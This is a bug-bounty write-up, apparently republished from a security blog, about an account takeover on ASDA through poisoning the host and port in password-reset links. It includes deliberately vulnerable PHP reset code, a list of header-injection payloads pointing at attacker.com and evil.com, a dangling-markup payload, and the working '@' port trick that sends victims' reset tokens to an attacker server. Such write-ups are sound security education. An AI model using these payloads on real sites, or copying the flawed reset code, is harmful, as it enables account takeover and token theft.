Account Takeover Via Poising Forget Password Port in ASDA

1 year ago 83
BOOK THIS SPACE FOR AD
ARTICLE AD

Hi amazing researcher, Welcome to another review of the vulnerability discovery on ASDA. Today I want to discuss Host Header Poisoning leading to a one-click-to-account takeover BUT that wasn’t a normal one. technically I used open redirect and Port Poisoning to exploit this vulnerability. Be my guest…

Let’s talk about the basic knowledge of Host Header Poisoning. Normally this method uses for cache Poisoning or forgets password function. The Cache Poisoning has a long way but today our story is about forgetting password functionality.

when a hacker faces a forget password function, which sends a link with a token to update the password. If the hacker can access the victim’s fresh token. Takeover the victim’s account is piece of cake. there are many ways to bypass it and access the token, such as weaknesses in the token’s cryptography or leaking, etc.

One of the popular exploits is manipulating a vulnerable website into generating a password reset link pointing to a domain under their control till when the victim opens the poisoned link the victim’s redirected to the attacker’s website and the user’s unused token logging to the attacker’s domain control. Here is an example of exploit flow:

Why does this vulnerability exist?

It exists when potential user-controlled data is used to create a password reset link. That may be in the host header request which already exists or should add manually, or even on parameters in the body or get parameters, as long as it is user-controlled and is not filtered/checked, it may result in Password Reset Poisoning. Here’s an example PHP code that checks for the host parameter in the JSON body of the request. If the host parameter exists, it uses it to construct the reset password URL. If the host parameter does not exist, it falls back to the X-Forwarded-Host header from the request. If both the host parameter and X-Forwarded-Host header do not exist, it uses the main host as the default. Can you exploit it!? Well done👏. Now try to make it safe😄

<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$json_body = json_decode(file_get_contents('php://input'), true);
$email = $json_body['email'];
$host = isset($json_body['host']) ? $json_body['host'] : $_SERVER['HTTP_X_FORWARDED_HOST'];

// If the host parameter is not set and the X-Forwarded-Host header is not set, use the main host as the default
if (empty($host)) {
$host = $_SERVER['HTTP_HOST'];
}

// Check if email exists in the database
// If the email exists, generate a unique reset password token
// Store the token and email in the database

$reset_password_url = 'https://' . $host . '/reset_password.php?token=' . $token;

$to = $email;
$subject = 'Reset Password Link';
$message = 'Click the following link to reset your password: ' . $reset_password_url;
$headers = 'From: example@example.com' . "\r\n" .
'Reply-To: example@example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();

// Send the reset password link to the user's email
if (mail($to, $subject, $message, $headers)) {
echo 'Reset password link has been sent to your email';
} else {
echo 'Failed to send reset password link';
}
}

?>

Here are some useful headers you can use in forget password requests, Be my guest…😉

- Replace Host Header → Host: attacker.com [Report](https://hackerone.com/reports/226659)
- Add Commons Header:
- X-Forwarded-Host: attacker.com [Report](https://hackerone.com/reports/182670)
- X-Forwarded-For: attacker.com
- X-Forwarded-Proto: attacker.com
- X-Host: attacker.com
- X-Forwarded-Server: attacker.com
- X-HTTP-Host-Override: attacker.com
- Forwarded: attacker.com
- X-Forwarded: attacker.com
- Change Origin → Origin: attacker.com
- Change Referer → Referer: attacker.com [Report](https://hackerone.com/reports/229498)
- Redirect X-Forwarded-Host (whitelist) → X-Forwarded-Host: attacker.com/.site.com [Report](https://hackerone.com/reports/698416)
- Change Path URI → GET https://attacker.com/forget-pass [Report](https://hackerone.com/reports/158482)

Sometimes it’s possible when you try to exploit you faced some errors such as 400 status, etc. One of the usual bypasses for this position is adding line wrapping:

POST /reset-password HTTP/1.1
Host: Site.com
Host: evil.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0

Now we have good knowledge of Host Header Poisoning, It’s time to back the original story. I skip the recon part and want to talk about the exploit part.

After I reached to website tried to analyze the flow of the forgetting password part. The website generates a reset password and emails it to the user. So I tried to use common exploits and fuzz for a hidden parameter or a hidden request header that is user-controlled data that effect on reset password link. Unfortunately, my testing wasn’t successful, and unable to reach any parameter or header that effect the reset password link. but I wasn’t losing hope and a sound in my head said this is vulnerable just keep working.

Most programs and platforms do not accept HTML injection on email or mark it as low impact, But sometimes that helps us to steal user tokens or even OTP codes from email but HOW!? We have an unpopular vulnerability called Dangling Markup which is a kind of HTML injection that leads to stealing user Information.

What is Dangling Markup!?

an attacker will naturally attempt to execute XSS. But suppose a regular XSS attack is not possible, due to input filters, content security policy, or other obstacles. Here, it may still be possible to provide a dangling markup injection attack with a payload like the following:

"'><a href="//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/?

It’s possible to inject such this payload into the Port of the Host header request and that reflects in the reset password link, Here is an example code: (I’m not a PHP programmer sorry for any mistakes😅)

<?php
if(isset($_POST['submit'])){
// Retrieve user input from form
$email = $_POST['email'];

// Generate a unique token for the password reset link
$token = bin2hex(random_bytes(32));

// Store the token in the database, along with the user's email
// This could be done in a separate function
$db = new PDO('mysql:host=localhost;dbname=myDB;charset=utf8', 'username', 'password');
$stmt = $db->prepare("INSERT INTO password_reset_tokens (email, token) VALUES (?, ?)");
$stmt->execute([$email, $token]);

// Create the password reset link, including the token and the host from the request
$host = $_SERVER['HTTP_HOST'];
$parsed_host = parse_url($host);
$reset_link = "https://domain.tld"
$lol_reset_link = "/reset-password.php?token=".$token;
if ($parsed_host['host'] == 'domain.tld') {
if (isset($parsed_host['port'])) {
$reset_link .= ':' . $parsed_host['port'] . $lol_reset_link;
}
else {
$reset_link .= $lol_reset_link;
}
}

// Send the email to the user
$to = $email;
$subject = "Password Reset Request";
$message = "Hello,\n\nPlease click on the following link to reset your password:\n\n".$reset_link."\n\nThanks,\nThe Example Team";
$headers = "From: webmaster@domain.tld";

// Use PHP's mail() function to send the email
mail($to, $subject, $message, $headers);

// Display a success message to the user
echo "A password reset link has been sent to your email address.";
}
?>

<!-- HTML form to collect user's email address -->
<form method="post" action="">
<label for="email">Email Address:</label>
<input type="email" name="email" required>
<input type="submit" name="submit" value="Reset Password">
</form>

You can try to solve the below lab to understand how exactly to exploit this vulnerability:

Let’s go ahead, I tried to test Dangling Markup by adding a custom port:

POST /reset-password HTTP/1.1
Host: Site.com:123
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0

and received the below email:

Surprisedly, I was able to inject a custom port to the reset password link then I tried to create a breakpoint into email:

POST /reset-password HTTP/1.1
Host: Site.com:123">
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0

Now let’s check the result:

I was able to successfully break, but after some challenges, I notice that we have character limits when trying to open the tag, although whenever we don’t open only a tag we can inject any character we want, So here I can’t exploit the vulnerability with Dangling Markup, Now what!!!

Knowing basic knowledge of any vulnerability and a little creativity helps you to create an out-of-mind exploit. In this scenario, If I had any chance to redirect the user to my website I able to steal the user’s token. How can I do it!?

using @ is one of the popular methods to redirect users to our website if you try to open domain.com@evil.com you will redirect to the evil.com website. Let’s use this method and make it useful :D

POST /reset-password HTTP/1.1
Host: Site.com:@xxxx.burpcollaborator.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0

Annnnnnnd Bingo

Now, when a victim clicks on the poisoning link that will redirect to our website and we can access the unused victim’s token and then take over the victim’s account.

I found this vulnerable method the first time a year ago and 6 months ago fixed it after I noticed this method is exploitable to many targets and private Pentest projects.

I hope you enjoyed this article, I tried to explain every detail and be clear. If you want more such as these write-ups, Don’t forget to follow and subscribe to email notifications, I usually posted daily tips and hints on my Twitter, Don’t forget follow up.

Twitter

Read Entire Article